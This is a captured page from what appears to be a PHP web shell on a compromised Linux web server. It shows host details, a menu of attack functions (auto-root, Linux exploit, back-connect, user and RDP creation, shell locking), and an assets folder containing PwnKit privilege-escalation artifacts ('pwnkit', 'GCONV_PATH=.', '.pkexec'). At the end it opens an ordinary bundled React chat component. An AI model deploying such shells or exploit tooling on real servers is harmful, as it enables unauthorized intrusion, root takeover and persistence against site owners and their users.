Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechs.io /
assets /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
.htaccess
127
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
AboutPage-BFl-6cdQ-xcVGd7Gs.js
11.09
KB
-rw-r--r--
AboutPage-BFl-6cdQ.js
11.01
KB
-rw-r--r--
AboutPage-CRYHjz8B.js
11.08
KB
-rw-r--r--
AboutPage-D8o4mb0o.js
11.01
KB
-rw-r--r--
AccountDock-CByk1p32-CvIHjYO8....
5.12
KB
-rw-r--r--
AccountDock-CByk1p32.js
5.09
KB
-rw-r--r--
AccountDock-McBBbuGp.js
5.09
KB
-rw-r--r--
AccountDock-jB2pi2PH.js
4.55
KB
-rw-r--r--
AdminPanelPage-BKaudkeA-BfT7Qn...
65.79
KB
-rw-r--r--
AdminPanelPage-BKaudkeA.js
65.75
KB
-rw-r--r--
AdminPanelPage-hxg7mlUz.js
65.77
KB
-rw-r--r--
AdminPanelPage-kvHyxrbX.js
65.78
KB
-rw-r--r--
AuthPage-CWZaRQ53.js
7.93
KB
-rw-r--r--
AuthPage-D2oEk9fK.js
7.93
KB
-rw-r--r--
AuthPage-IoEHnwV2-DMx3f31D.js
7.99
KB
-rw-r--r--
AuthPage-IoEHnwV2.js
7.93
KB
-rw-r--r--
BlogPage-DGMv-nlg.js
1.05
KB
-rw-r--r--
Button-BI6JHCK5.js
894
B
-rw-r--r--
Button-D2wDOozD-BtIMHGpv.js
898
B
-rw-r--r--
Button-D2wDOozD.js
894
B
-rw-r--r--
Button-DPbE3uKx.js
894
B
-rw-r--r--
ClientDashboardPage-BFRChU8j.j...
21.08
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u-C...
21.13
KB
-rw-r--r--
ClientDashboardPage-D7gOu81u.j...
21.04
KB
-rw-r--r--
ClientDashboardPage-DAtumH_H.j...
21.11
KB
-rw-r--r--
ContactPage-BnwClT5m-pkrl2KVG....
9.63
KB
-rw-r--r--
ContactPage-BnwClT5m.js
9.53
KB
-rw-r--r--
ContactPage-CQKICACj.js
9.59
KB
-rw-r--r--
ContactPage-Dyl_poQ9.js
9.53
KB
-rw-r--r--
DemoShellPage-BDFaqClQ-N4jADs2...
11.26
KB
-rw-r--r--
DemoShellPage-BDFaqClQ.js
11.17
KB
-rw-r--r--
DemoShellPage-CXk-WyIs.js
13.31
KB
-rw-r--r--
DemoShellPage-CnphZX4a.js
11.17
KB
-rw-r--r--
ProductDetailsPage--xf82Wdc.js
12.51
KB
-rw-r--r--
ProductDetailsPage-Bst2BMXl.js
12.58
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO-Bo...
12.6
KB
-rw-r--r--
ProductDetailsPage-DbsKzKmO.js
12.51
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q-BPq82Yl...
42.93
KB
-rw-r--r--
ScrollTrigger-7Zy99s9Q.js
42.96
KB
-rw-r--r--
SiteChrome-CkbUXxf_.js
7.16
KB
-rw-r--r--
SiteChrome-D3D3Aw-2.js
6.2
KB
-rw-r--r--
SiteChrome-DJFTF4Ff-Fp7FHZ2Q.j...
6.58
KB
-rw-r--r--
SiteChrome-DJFTF4Ff.js
6.56
KB
-rw-r--r--
StorePage-CCLakifp.js
22.82
KB
-rw-r--r--
StorePage-Cca-p5Z_-D_zPBVRK.js
22.89
KB
-rw-r--r--
StorePage-Cca-p5Z_.js
22.75
KB
-rw-r--r--
StorePage-D3IosLOe.js
22.75
KB
-rw-r--r--
arrow-right-1RKBaJm4.js
344
B
-rw-r--r--
arrow-right-DF_6IH5_-B53OQOKh....
348
B
-rw-r--r--
arrow-right-DF_6IH5_.js
344
B
-rw-r--r--
arrow-right-DwjVqvji.js
344
B
-rw-r--r--
circle-check-B9su1Bzf.js
352
B
-rw-r--r--
circle-check-CTBPBmCf-n9VsgXx6...
366
B
-rw-r--r--
circle-check-CTBPBmCf.js
352
B
-rw-r--r--
circle-check-u9adkwRC.js
352
B
-rw-r--r--
clock-3-Cu3htX6m-rnEJxpV8.js
370
B
-rw-r--r--
clock-3-Cu3htX6m.js
361
B
-rw-r--r--
clock-3-DF9c78Tc.js
361
B
-rw-r--r--
clock-3-edy3tJrX.js
361
B
-rw-r--r--
createLucideIcon-9GDfkjCp-1qLQ...
1.52
KB
-rw-r--r--
createLucideIcon-9GDfkjCp.js
1.54
KB
-rw-r--r--
createLucideIcon-BWeLwUUK.js
1.54
KB
-rw-r--r--
createLucideIcon-CMq6eM5C.js
1.54
KB
-rw-r--r--
credit-card-AIrys0eB.js
386
B
-rw-r--r--
credit-card-Cd-r6u3q-EXOseSEX....
395
B
-rw-r--r--
credit-card-Cd-r6u3q.js
386
B
-rw-r--r--
credit-card-Q8P3iw5M.js
386
B
-rw-r--r--
eye-BzKTFY0m.js
431
B
-rw-r--r--
eye-C03LuO7d-D6_xK8Ps.js
445
B
-rw-r--r--
eye-C03LuO7d.js
431
B
-rw-r--r--
eye-Cx56kTmG.js
431
B
-rw-r--r--
firebase-DEg1zKlq-B7QEUBhI.js
162.07
KB
-rw-r--r--
firebase-DEg1zKlq.js
163.55
KB
-rw-r--r--
index-BWPb6fzk.css
62.31
KB
-rw-r--r--
index-Bvu9zNsI-DX1QA0ik.js
69.18
KB
-rw-r--r--
index-Bvu9zNsI.js
69.19
KB
-rw-r--r--
index-Bz4UyWnK.js
171.01
KB
-rw-r--r--
index-CBe4ypir.css
60.82
KB
-rw-r--r--
index-CDOUjI53.js
174.43
KB
-rw-r--r--
index-CTlm15d2.js
171.05
KB
-rw-r--r--
index-DNmw2oyp.css
61.82
KB
-rw-r--r--
index-Dwjfbpr8.js
171.3
KB
-rw-r--r--
loader-circle-D7oyO-2w.js
323
B
-rw-r--r--
loader-circle-DMRH_mR_.js
323
B
-rw-r--r--
loader-circle-IEDYPIER-CuEXV5k...
332
B
-rw-r--r--
loader-circle-IEDYPIER.js
323
B
-rw-r--r--
logo-pVcFpWoF.png
506.48
KB
-rw-r--r--
mail-BJu8buSm-BZTw5WIs.js
404
B
-rw-r--r--
mail-BJu8buSm.js
395
B
-rw-r--r--
mail-DFP30gPy.js
395
B
-rw-r--r--
mail-mV4CdDUR.js
395
B
-rw-r--r--
output-onlinegiftools-1-1-BQn0...
485
B
-rw-r--r--
output-onlinegiftools-1-1-BZ2C...
3.78
MB
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
494
B
-rw-r--r--
output-onlinegiftools-1-1-C0SM...
485
B
-rw-r--r--
output-onlinegiftools-1-1-C7Gw...
485
B
-rw-r--r--
output-onlinegiftools-2-BMi0cX...
4
MB
-rw-r--r--
output-onlinegiftools-2-BnXksE...
753
B
-rw-r--r--
output-onlinegiftools-2-BnXksE...
744
B
-rw-r--r--
output-onlinegiftools-2-CNwtJS...
744
B
-rw-r--r--
output-onlinegiftools-2-D4M_L7...
744
B
-rw-r--r--
package-check-DDRkTBqD.js
605
B
-rw-r--r--
phone-1yK55Cb0.js
574
B
-rw-r--r--
phone-C1JglSQK-DjOzq1OR.js
578
B
-rw-r--r--
phone-C1JglSQK.js
574
B
-rw-r--r--
phone-v32ABdJw.js
944
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
refresh-cw-B3cmlBmt.js
500
B
-rw-r--r--
send-ClB1CbTm.js
470
B
-rw-r--r--
settings-BZIrvXP2.js
905
B
-rw-r--r--
settings-Biipnq-T-D6uXb2ZX.js
909
B
-rw-r--r--
settings-Biipnq-T.js
905
B
-rw-r--r--
settings-WguBlejS.js
905
B
-rw-r--r--
shopping-bag-BgB0pOAF.js
804
B
-rw-r--r--
shopping-bag-CHYQamNb.js
804
B
-rw-r--r--
shopping-bag-DdF-XavL-GKTs5aMq...
803
B
-rw-r--r--
shopping-bag-DdF-XavL.js
804
B
-rw-r--r--
truck-CcDe-2TB.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM-C5hCHi2O.js
1.58
KB
-rw-r--r--
truck-Cqzh9gCM.js
1.58
KB
-rw-r--r--
truck-DiaBXU-o.js
1.58
KB
-rw-r--r--
usePortalSocket-BunRYVgj.js
15.98
KB
-rw-r--r--
usePortalSocket-CijdJaF-.js
16.4
KB
-rw-r--r--
usePortalSocket-DaFfMY0_-D7Cb-...
16.41
KB
-rw-r--r--
usePortalSocket-DaFfMY0_.js
16.41
KB
-rw-r--r--
user-plus-DHnwp5UO.js
868
B
-rw-r--r--
user-plus-DVissIdY.js
868
B
-rw-r--r--
user-plus-DoawIM15--VPezORf.js
867
B
-rw-r--r--
user-plus-DoawIM15.js
868
B
-rw-r--r--
user-round-CppNcdCW-BRXg1PZR.j...
1.54
KB
-rw-r--r--
user-round-CppNcdCW.js
1.55
KB
-rw-r--r--
user-round-D64-Xj15.js
1.15
KB
-rw-r--r--
user-round-DU-BBHF0.js
1.55
KB
-rw-r--r--
x-BmeVBLEj.js
334
B
-rw-r--r--
x-COYnIX-z-_goiIEX7.js
343
B
-rw-r--r--
x-COYnIX-z.js
334
B
-rw-r--r--
x-DgvKnt-9.js
334
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : usePortalSocket-CijdJaF-.js
import{c as h}from"./createLucideIcon-CMq6eM5C.js";import{r as n,j as e,c as ge,f as be}from"./index-Dwjfbpr8.js";import{B as we}from"./Button-BI6JHCK5.js";import{X as ye}from"./x-DgvKnt-9.js";import{L as ke}from"./loader-circle-D7oyO-2w.js";import{S as je}from"./send-ClB1CbTm.js";/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const ve=h("ArrowDown",[["path",{d:"M12 5v14",key:"s699le"}],["path",{d:"m19 12-7 7-7-7",key:"1idqje"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const oe=h("FileText",[["path",{d:"M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z",key:"1rqfz7"}],["path",{d:"M14 2v4a2 2 0 0 0 2 2h4",key:"tnqrlb"}],["path",{d:"M10 9H8",key:"b1mrlr"}],["path",{d:"M16 13H8",key:"t4e002"}],["path",{d:"M16 17H8",key:"z1uh3a"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Ne=h("Image",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",ry:"2",key:"1m3agn"}],["circle",{cx:"9",cy:"9",r:"2",key:"af1f0g"}],["path",{d:"m21 15-3.086-3.086a2 2 0 0 0-2.828 0L6 21",key:"1xmnt7"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Re=h("MessageSquareText",[["path",{d:"M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z",key:"1lielz"}],["path",{d:"M13 8H7",key:"14i4kc"}],["path",{d:"M17 12H7",key:"16if0g"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const re=h("Mic",[["path",{d:"M12 2a3 3 0 0 0-3 3v7a3 3 0 0 0 6 0V5a3 3 0 0 0-3-3Z",key:"131961"}],["path",{d:"M19 10v2a7 7 0 0 1-14 0v-2",key:"1vc78b"}],["line",{x1:"12",x2:"12",y1:"19",y2:"22",key:"x3vr5v"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Se=h("Paperclip",[["path",{d:"M13.234 20.252 21 12.3",key:"1cbrk9"}],["path",{d:"m16 6-8.414 8.586a2 2 0 0 0 0 2.828 2 2 0 0 0 2.828 0l8.414-8.586a4 4 0 0 0 0-5.656 4 4 0 0 0-5.656 0l-8.415 8.585a6 6 0 1 0 8.486 8.486",key:"1pkts6"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const He=h("RefreshCw",[["path",{d:"M3 12a9 9 0 0 1 9-9 9.75 9.75 0 0 1 6.74 2.74L21 8",key:"v9h5vc"}],["path",{d:"M21 3v5h-5",key:"1q7to0"}],["path",{d:"M21 12a9 9 0 0 1-9 9 9.75 9.75 0 0 1-6.74-2.74L3 16",key:"3uifl3"}],["path",{d:"M8 16H3v5",key:"1cv678"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Me=h("Square",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}]]);/** * @license lucide-react v0.468.0 - ISC * * This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Oe=h("WalletCards",[["rect",{width:"18",height:"18",x:"3",y:"3",rx:"2",key:"afitv7"}],["path",{d:"M3 9a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2",key:"4125el"}],["path",{d:"M3 11h3c.8 0 1.6.3 2.1.9l1.1.9c1.6 1.6 4.1 1.6 5.7 0l1.1-.9c.5-.5 1.3-.9 2.1-.9H21",key:"1dpki6"}]]),Te=["image/jpeg","image/png","image/webp","image/gif","image/avif","audio/*","application/pdf","text/plain",".doc",".docx",".xls",".xlsx",".zip"].join(",");function ce(a){return a?a<1024*1024?`${Math.max(1,Math.round(a/1024))} KB`:`${(a/(1024*1024)).toFixed(1)} MB`:""}function se(a){return a?new Intl.DateTimeFormat("en-US",{hour:"numeric",minute:"2-digit"}).format(new Date(a)):""}function Ce(a){var i,s;return a.attachmentType?a.attachmentType:(i=a.attachmentMime)!=null&&i.startsWith("image/")?"image":(s=a.attachmentMime)!=null&&s.startsWith("audio/")?"audio":"file"}function ze(){return e.jsx("span",{className:"inline-flex items-center gap-1","aria-hidden":"true",children:[0,1,2].map(a=>e.jsx("span",{className:"h-1.5 w-1.5 rounded-full bg-current opacity-70",style:{animation:"typing-bounce 1s ease-in-out infinite",animationDelay:`${a*.14}s`}},a))})}function Ae({message:a,mine:i}){if(!a.attachmentUrl)return null;const s=Ce(a),u=a.attachmentName||"Attachment",f=ce(a.attachmentSize);return s==="image"?e.jsx("a",{href:a.attachmentUrl,target:"_blank",rel:"noreferrer",className:"mt-2 block overflow-hidden rounded-md border border-white/20 bg-white/80",children:e.jsx("img",{src:a.attachmentUrl,alt:u,className:"max-h-72 w-full object-contain"})}):s==="audio"?e.jsx("div",{className:`mt-2 rounded-md border p-2 ${i?"border-white/20 bg-white/15":"border-slate-200 bg-white"}`,children:e.jsx("audio",{controls:!0,preload:"metadata",src:a.attachmentUrl,className:"h-10 w-full max-w-full"})}):e.jsxs("a",{href:a.attachmentUrl,target:"_blank",rel:"noreferrer",className:`mt-2 flex items-center gap-3 rounded-md border p-3 text-sm font-bold transition ${i?"border-white/20 bg-white/15 text-white hover:bg-white/20":"border-slate-200 bg-white text-slate-800 hover:border-cyan-400"}`,children:[e.jsx("span",{className:`grid h-9 w-9 shrink-0 place-items-center rounded-md ${i?"bg-white/20":"bg-slate-100"}`,children:e.jsx(oe,{size:18,"aria-hidden":"true"})}),e.jsxs("span",{className:"min-w-0",children:[e.jsx("span",{className:"block truncate",children:u}),f&&e.jsx("span",{className:"block text-xs opacity-70",children:f})]})]})}function qe({order:a,currentUser:i,title:s="Live chat",placeholder:u="Write a message",counterpartLabel:f="SignalTech Admin",counterpartOnline:x=!0,counterpartStatus:H="Online 24/7",typingUsers:g=[],socketConnected:m=!1,sendSocketEvent:M,messageEndpoint:T,onMessageSent:b,actionBar:k=null,minHeightClass:C="h-[680px]"}){var ne;const[j,v]=n.useState(""),[c,o]=n.useState(null),[p,z]=n.useState(""),[W,G]=n.useState(!1),[N,O]=n.useState(!1),[J,w]=n.useState(""),[q,$]=n.useState(0),Z=n.useRef(null),K=n.useRef(null),E=n.useRef(null),X=n.useRef(""),Y=n.useRef(0),R=n.useRef(!0),B=n.useRef(null),D=n.useRef(!1),A=n.useRef(null),F=n.useRef(null),U=n.useRef([]),y=(a==null?void 0:a.messages)||[],Q=!!(a&&(j.trim()||c)),le=typeof MediaRecorder<"u"&&typeof navigator<"u"&&!!((ne=navigator.mediaDevices)!=null&&ne.getUserMedia),I=n.useMemo(()=>g.filter(Boolean).slice(0,3),[g]),_=y[y.length-1],ee=!!(_&&!_.isSystemGenerated&&_.senderId===(i==null?void 0:i.id));function de(t=E.current){return t?t.scrollHeight-t.scrollTop-t.clientHeight<120:!0}function L({smooth:t=!1}={}){window.requestAnimationFrame(()=>{const r=E.current;r&&(r.scrollTo({top:r.scrollHeight,behavior:t?"smooth":"auto"}),R.current=!0,$(0))})}function ue(){const t=de();R.current=t,t&&$(0)}function te(t){!(a!=null&&a.id)||!M||M({type:t,orderId:a.id})}function P(){window.clearTimeout(B.current),B.current=null,D.current&&(D.current=!1,te("typing.stop"))}function me(t){if(!t.trim()){P();return}D.current||(D.current=!0,te("typing.start")),window.clearTimeout(B.current),B.current=window.setTimeout(P,1400)}function V(){var t;(t=F.current)==null||t.getTracks().forEach(r=>r.stop()),F.current=null}n.useEffect(()=>{const t=X.current!==(a==null?void 0:a.id),r=Y.current,l=Math.max(0,y.length-r);if(X.current=(a==null?void 0:a.id)||"",Y.current=y.length,t){R.current=!0,$(0),L();return}if(l>0){ee||R.current?L({smooth:!0}):$(d=>d+l);return}I.length>0&&R.current&&L({smooth:!0})},[a==null?void 0:a.id,y.length,ee,I.length]),n.useEffect(()=>{v(""),o(null),w(""),P()},[a==null?void 0:a.id]),n.useEffect(()=>{if(!c||typeof URL>"u"){z("");return}const t=URL.createObjectURL(c);return z(t),()=>URL.revokeObjectURL(t)},[c]),n.useEffect(()=>()=>{var t;P(),((t=A.current)==null?void 0:t.state)==="recording"&&A.current.stop(),V()},[]);function ae(t){const r=t==null?void 0:t[0];r&&(o(r),w(""))}async function he(){if(!le||N){w("Voice recording is not available in this browser.");return}try{const t=await navigator.mediaDevices.getUserMedia({audio:{echoCancellation:!0,noiseSuppression:!0,autoGainControl:!0}}),r=MediaRecorder.isTypeSupported("audio/webm;codecs=opus")?"audio/webm;codecs=opus":MediaRecorder.isTypeSupported("audio/webm")?"audio/webm":"",l=new MediaRecorder(t,r?{mimeType:r}:void 0);F.current=t,U.current=[],A.current=l,l.ondataavailable=d=>{var S;(S=d.data)!=null&&S.size&&U.current.push(d.data)},l.onstop=()=>{const d=l.mimeType||"audio/webm",S=new Blob(U.current,{type:d});if(S.size){const xe=d.includes("ogg")?"ogg":"webm";o(typeof File<"u"?new File([S],`voice-message-${Date.now()}.${xe}`,{type:d}):S)}V(),O(!1)},l.start(),O(!0),w("")}catch{V(),O(!1),w("Microphone permission is needed to record voice.")}}function pe(){var t;((t=A.current)==null?void 0:t.state)==="recording"&&A.current.stop()}async function fe(t){if(t.preventDefault(),!(!Q||W)){P(),R.current=!0,G(!0),w("");try{const r=new FormData;r.append("messageText",j.trim()),c&&r.append("attachment",c,c.name||`voice-message-${Date.now()}.webm`);const l=await ge(T(a.id),{method:"POST",body:r});b(l.message),v(""),o(null),L({smooth:!0})}catch(r){w(r.message)}finally{G(!1)}}}return e.jsxs("section",{className:`flex min-w-0 flex-col bg-white ${C}`,children:[e.jsxs("div",{className:"flex items-center justify-between gap-3 border-b border-slate-200 p-4",children:[e.jsxs("div",{className:"min-w-0",children:[e.jsxs("span",{className:"inline-flex items-center gap-2 text-sm font-black uppercase text-cyan-800",children:[e.jsx(Re,{size:16,"aria-hidden":"true"}),s]}),e.jsxs("p",{className:"mt-1 flex min-w-0 items-center gap-2 text-xs font-bold text-slate-500",children:[e.jsx("span",{className:`h-2.5 w-2.5 shrink-0 rounded-full ${x?"bg-emerald-500":"bg-slate-300"}`}),e.jsxs("span",{className:"truncate",children:[f," - ",x?H:"Offline"]})]})]}),e.jsx("span",{className:`shrink-0 rounded-full border px-2.5 py-1 text-xs font-black uppercase ${m?"border-emerald-200 bg-emerald-50 text-emerald-700":"border-slate-200 bg-slate-50 text-slate-500"}`,children:m?"Live":"Syncing"})]}),e.jsxs("div",{ref:E,onScroll:ue,className:"relative min-h-0 flex-1 space-y-3 overflow-y-auto bg-slate-50 p-4",children:[y.map(t=>{var d;const r=!t.isSystemGenerated&&t.senderId===(i==null?void 0:i.id),l=t.isSystemGenerated;return e.jsxs("div",{className:`max-w-[94%] rounded-lg border p-3 text-sm leading-6 shadow-sm sm:max-w-[88%] ${l?"mx-auto border-amber-200 bg-amber-50 text-amber-900":r?"ml-auto border-cyan-200 bg-cyan-700 text-white":"border-slate-200 bg-white text-slate-800"}`,children:[!l&&e.jsxs("span",{className:"mb-1 flex flex-wrap items-center gap-x-2 gap-y-1 text-xs font-black uppercase opacity-70",children:[e.jsx("span",{children:r?"You":((d=t.sender)==null?void 0:d.name)||f}),e.jsx("span",{className:"font-bold normal-case",children:se(t.createdAt)})]}),l&&e.jsx("span",{className:"mb-1 block text-xs font-black uppercase opacity-70",children:se(t.createdAt)}),t.messageText&&e.jsx("p",{className:"whitespace-pre-wrap break-words",children:t.messageText}),e.jsx(Ae,{message:t,mine:r})]},t.id)}),I.length>0&&e.jsxs("div",{className:"max-w-[94%] rounded-lg border border-slate-200 bg-white p-3 text-sm font-bold text-slate-600 shadow-sm sm:max-w-[88%]",children:[e.jsxs("span",{children:[I.join(", ")," ",I.length===1?"is":"are"," typing"]}),e.jsx("span",{className:"ml-2",children:e.jsx(ze,{})})]}),y.length===0&&e.jsx("div",{className:"rounded-lg border border-dashed border-slate-300 bg-white p-5 text-sm font-semibold text-slate-500",children:"Start the consultation here."}),q>0&&e.jsxs("button",{type:"button",onClick:()=>L({smooth:!0}),className:"sticky bottom-3 left-1/2 z-10 mx-auto flex min-h-10 -translate-x-0 items-center gap-2 rounded-full border border-cyan-200 bg-white px-4 text-xs font-black text-cyan-800 shadow-xl shadow-slate-200/80 transition hover:border-cyan-500",children:[e.jsx(ve,{size:15,"aria-hidden":"true"}),q," new ",q===1?"message":"messages"]})]}),k,e.jsxs("form",{onSubmit:fe,className:"border-t border-slate-200 bg-white p-3 sm:p-4",children:[c&&e.jsxs("div",{className:"mb-3 flex items-center gap-3 rounded-lg border border-cyan-200 bg-cyan-50 p-2",children:[e.jsx("div",{className:"grid h-14 w-14 shrink-0 place-items-center overflow-hidden rounded-md bg-white text-cyan-800",children:c.type.startsWith("image/")&&p?e.jsx("img",{src:p,alt:"",className:"h-full w-full object-cover"}):c.type.startsWith("audio/")&&p?e.jsx(re,{size:20,"aria-hidden":"true"}):e.jsx(oe,{size:20,"aria-hidden":"true"})}),e.jsxs("div",{className:"min-w-0 flex-1",children:[e.jsx("p",{className:"truncate text-sm font-black text-slate-950",children:c.name||"Voice message"}),e.jsx("p",{className:"text-xs font-bold text-slate-500",children:ce(c.size)}),c.type.startsWith("audio/")&&p&&e.jsx("audio",{controls:!0,preload:"metadata",src:p,className:"mt-2 h-9 w-full"})]}),e.jsx("button",{type:"button",onClick:()=>o(null),className:"grid h-9 w-9 shrink-0 place-items-center rounded-md border border-cyan-200 bg-white text-slate-700 transition hover:border-red-300 hover:text-red-700","aria-label":"Remove attachment",title:"Remove attachment",children:e.jsx(ye,{size:16,"aria-hidden":"true"})})]}),J&&e.jsx("div",{className:"mb-3 rounded-md border border-red-200 bg-red-50 p-2 text-sm font-semibold text-red-700",children:J}),e.jsxs("div",{className:"flex items-center gap-2",children:[e.jsx("input",{ref:Z,type:"file",accept:Te,className:"sr-only",onChange:t=>{ae(t.target.files),t.target.value=""}}),e.jsx("input",{ref:K,type:"file",accept:"image/jpeg,image/png,image/webp,image/gif,image/avif",className:"sr-only",onChange:t=>{ae(t.target.files),t.target.value=""}}),e.jsx("button",{type:"button",onClick:()=>{var t;return(t=Z.current)==null?void 0:t.click()},className:"grid h-11 w-11 shrink-0 place-items-center rounded-md border border-slate-300 text-slate-700 transition hover:border-cyan-500 hover:text-cyan-800","aria-label":"Attach file",title:"Attach file",children:e.jsx(Se,{size:18,"aria-hidden":"true"})}),e.jsx("button",{type:"button",onClick:()=>{var t;return(t=K.current)==null?void 0:t.click()},className:"grid h-11 w-11 shrink-0 place-items-center rounded-md border border-slate-300 text-slate-700 transition hover:border-cyan-500 hover:text-cyan-800","aria-label":"Attach image",title:"Attach image",children:e.jsx(Ne,{size:18,"aria-hidden":"true"})}),e.jsx("button",{type:"button",onClick:N?pe:he,className:`grid h-11 w-11 shrink-0 place-items-center rounded-md border transition ${N?"border-red-200 bg-red-50 text-red-700":"border-slate-300 text-slate-700 hover:border-cyan-500 hover:text-cyan-800"}`,"aria-label":N?"Stop voice recording":"Record voice",title:N?"Stop voice recording":"Record voice",children:N?e.jsx(Me,{size:17,"aria-hidden":"true"}):e.jsx(re,{size:18,"aria-hidden":"true"})}),e.jsx("input",{value:j,onChange:t=>{v(t.target.value),me(t.target.value)},className:"h-11 min-w-0 flex-1 rounded-md border border-slate-300 px-3 text-sm",placeholder:u}),e.jsxs(we,{type:"submit",className:"h-11 shrink-0 rounded-md px-4",disabled:W||!Q,children:[W?e.jsx(ke,{className:"animate-spin",size:17,"aria-hidden":"true"}):e.jsx(je,{size:17,"aria-hidden":"true"}),e.jsx("span",{className:"hidden sm:inline",children:"Send"})]})]})]})]})}const ie=["/api/ws/portal","/ws/portal"];function Ie(a,i){const s=new URL(be,window.location.origin);return s.protocol=s.protocol==="https:"?"wss:":"ws:",s.pathname=i,s.search="",s.searchParams.set("token",a),s.toString()}function Ee(a,i){const s=n.useRef(null),u=n.useRef(i),[f,x]=n.useState(!1);n.useEffect(()=>{u.current=i},[i]);const H=n.useCallback(g=>{const m=s.current;return typeof WebSocket>"u"||!m||m.readyState!==WebSocket.OPEN?!1:(m.send(JSON.stringify(g)),!0)},[]);return n.useEffect(()=>{const g=localStorage.getItem("script_market_token");if(!a||!g||typeof WebSocket>"u"){x(!1);return}let m=!1,M=null,T=null,b=null,k=0;function C(){window.clearInterval(T),T=null}function j(){m||(M=window.setTimeout(v,1800))}function v(){const c=ie[k];k=(k+1)%ie.length;let o;try{o=new WebSocket(Ie(g,c))}catch{j();return}b=o,s.current=o,o.onopen=()=>{k=0,x(!0),C(),T=window.setInterval(()=>{o.readyState===WebSocket.OPEN&&o.send("ping")},25e3)},o.onmessage=p=>{var z;try{(z=u.current)==null||z.call(u,JSON.parse(p.data))}catch{}},o.onclose=()=>{C(),x(!1),s.current===o&&(s.current=null),j()}}return v(),()=>{m=!0,x(!1),window.clearTimeout(M),C(),b==null||b.close(),s.current===b&&(s.current=null)}},[a]),{connected:f,sendJson:H}}export{Re as M,qe as O,He as R,Oe as W,Ee as u};
Close